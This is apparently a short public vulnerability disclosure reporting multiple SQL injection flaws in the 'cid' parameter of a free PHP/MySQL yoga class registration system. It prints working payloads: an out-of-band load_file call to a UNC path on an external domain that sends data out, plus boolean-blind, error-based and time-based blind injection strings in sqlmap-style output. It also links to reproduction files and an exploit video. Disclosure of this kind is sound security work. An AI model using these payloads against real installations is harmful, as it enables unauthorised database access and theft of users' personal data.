## Title: Yoga Class Registration -1.0-2023 - Multiple SQLi ## Author: nu11secur1ty ## Date: 02.27.2023 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The `cid` parameter appears to be vulnerable to Multiple-SQL injection attacks. The payload '+(select load_file('\\\\aaob4nk5vd0lv9e50qp2c5c1dsjl7iv9yxpkg85.stupid.com\\shs'))+' was submitted in the cid parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The attacker easily can steal all information about this server and this could be awful for all users of this system. STATUS: HIGH Vulnerability - CRITICAL [+]Payload: ```mysql --- Parameter: cid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: p=yclasses/registration&cid=158158925' or '6060'='6060' AND 7469=7469 AND 'IrlM'='IrlM Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: p=yclasses/registration&cid=158158925' or '6060'='6060' AND (SELECT 6894 FROM(SELECT COUNT(*),CONCAT(0x71786b7071,(SELECT (ELT(6894=6894,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CykB'='CykB Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: p=yclasses/registration&cid=158158925' or '6060'='6060' AND (SELECT 9785 FROM (SELECT(SLEEP(3)))edGv) AND 'KLgd'='KLgd --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Yoga-Class-Registration%20-1.0-2023%20-%20Multiple-SQLi) ## Proof and Exploit: [href](https://streamable.com/hhcgg6) ## Time spend: 01:00:00